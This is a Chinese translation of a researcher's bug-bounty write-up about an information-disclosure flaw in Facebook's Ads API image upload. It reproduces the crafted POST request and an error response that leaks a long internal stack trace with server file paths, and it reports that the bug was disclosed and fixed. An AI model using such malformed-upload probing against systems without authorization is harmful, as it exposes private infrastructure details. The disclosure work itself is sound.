此前,我对“Windows NT” 和 “Windows Phone”模型有所研究,后来,我看到好多人参与了Facebook的漏洞赏金项目并收获了奖励,所以,我想那我也来试试吧,看看能不能入围Facebook的白帽致谢榜,想当年我也两次入围微软操作系统漏洞安全名人堂呢。
而此时,我连什么是OWASP Top 10都一无所知,不管了,那就先试着研究一下Web渗透测试吧。之后,我认真琢磨了HTTP请求机制,阅读了大量Web漏洞分析文章,总算找到点了门道。
一个多月后,我就发现了存在Facebook Ads广告业务系统API中的一个漏洞。存在漏洞的API是一个图片处理接口,它用于Facebook商户账户上传广告图片,上传的图片会储存在一个名为“/adimages”的目录下,并用base64格式编码。所以,我的测试构想是,在这里的机制中,可以向上传图片中注入恶意Payload,经API转换为 Base64 格式后,再被Facebook传入服务器中。
以下为上传图片的POST请求:
POST /v2.10/act_123456789/adimages HTTP/1.1 Host: graph.facebook.com Bytes=VGhpcyBpcyBtYWxpY2lvdXMgcGF5bG9hZC4=
由于Facebook服务器端不能有效地处理恶意Payload图片,最终其“Image Resizing Tool”图片处理工具返回了一个报错,在某个JSON响应内容的异常消息中,就包括了一些PHP库函数代码,这些代码来自不同的Facebook库文件,可以肯定的是,这应该属于Facebook源代码的一部份。
HTTP/1.1 200 OK {“error”:{“message”:”Invalid parameter”,”type”:”FacebookApiException”,”code”:100,”error_data”:”exception ‘Exception’ with message ‘gen_image_rescale_multi_thrift call to shrinkImageMulti failed with fbalgo exception: 43 (43: : IDAT: invalid distance too far back)’ in \/var\/www\/flib\/resource\/filesystem\/upload\/upload.php:1393\nStack trace:\n#0 \/var\/www\/flib\/resource\/filesystem\/upload\/upload.php(1662): gen_image_rescale_multi_thrift()\n#1 \/var\/www\/flib\/ads\/admanager\/adupload\/adupload.php(252): gen_image_rescale_multi()\n#2 \/var\/www\/flib\/ads\/admanager\/adupload\/AdImageUtils.php(195): _gen_adupload_image_resize()\n#3 \/var\/www\/flib\/ads\/entities\/creatives\/photos\/AdproCreativePhotoDownload.php(53): AdImageUtils::genResizeLocalFile()\n#4 \/var\/www\/flib\/platform\/graph\/resources\/adaccount\/adimages\/mutators\/GraphAdAccountAdImagesPost.php(134): AdproCreativePhotoDownload::addLocalFileToCreativeLibrary()\n#5 \/var\/www\/flib\/core\/data_structures\/utils\/Arrays.php(440): Closure$GraphAdAccountAdImagesPost::genImplementation#3()\n#6 \/var\/www\/flib\/platform\/graph\/resources\/adaccount\/adimages\/mutators\/GraphAdAccountAdImagesPost.php(136): Arrays::genMapWithKey()\n#7 \/var\/www\/flib\/ads\/api\/graph_base\/GraphAdsWriteWithRedirectBase.php(22): GraphAdAccountAdImagesPost->genImplementation()\n#8 \/var\/www\/flib\/ads\/api\/graph_base\/GraphAdsWriteWithRedirectBase.php(11): GraphAdsWriteWithRedirectBase->genDoCall()\n#9 \/var\/www\/flib\/core\/asio\/gen_utils.php(24): GraphAdsWriteWithRedirectBase->genCall()\n#10 \/var\/www\/flib\/platform\/api\/base\/ApiBaseWithTypedApiData.php(204): genw()\n#11 \/var\/www\/flib\/platform\/api\/base\/ApiBase.php(85): ApiBaseWithTypedApiData->genCallWithApiDataBase()\n#12 \/var\/www\/flib\/platform\/graph\/core\/runner\/GraphApiRunnerBase.php(373): ApiBase->genMakeCall()\n#13 \/var\/www\/flib\/platform\/graph\/core\/GraphRequestProcessorBase.php(629): GraphApiRunnerBase->genCall()\n#14 \/var\/www\/flib\/platform\/graph\/core\/GraphRequestProcessorBase.php(45): GraphRequestProcessorBase->genExecuteSingleGraphRequestCore()\n#15 \/var\/www\/api\/graph\/server.php(168): GraphRequestProcessorBase->genExecuteSingleGraphRequest()\n#16 \/var\/www\/api\/graph\/server.php(174): gen_api_graph_server()\n#17 \/var\/www\/flib\/core\/asio\/Asio.php(35): gen_api_graph_server_wrapper()\n#18 (): Closure$Asio::enterAsyncEntryPoint()\n#19 \/var\/www\/flib\/core\/asio\/Asio.php(37): HH\\Asio\\join()\n#20 \/var\/www\/api\/graph\/server.php(180): Asio::enterAsyncEntryPoint()\n#21 {main}”,”error_subcode”:1487242,”is_transient”:false,”error_user_title”:”Image Resize Failed”,”error_user_msg”:”Image Resize Failed:unknown reason”,”fbtrace_id”:”EN\/o9hmqwZz”},”__fb_trace_id__”:”EN\/o9hmqwZz”}
在上报漏洞之前,我也做了一些诸如 ImageTragick 漏洞的PHP注入测试,没什么新的发现,所以我还是选择了及时上报给了Facebook。最终,Facebook从内部修复了代码运行机制,消除了异常处理的响应内容,堵塞了漏洞。
*参考来源:amolbaikar,clouds编译,转载请注明来自FreeBuf.COM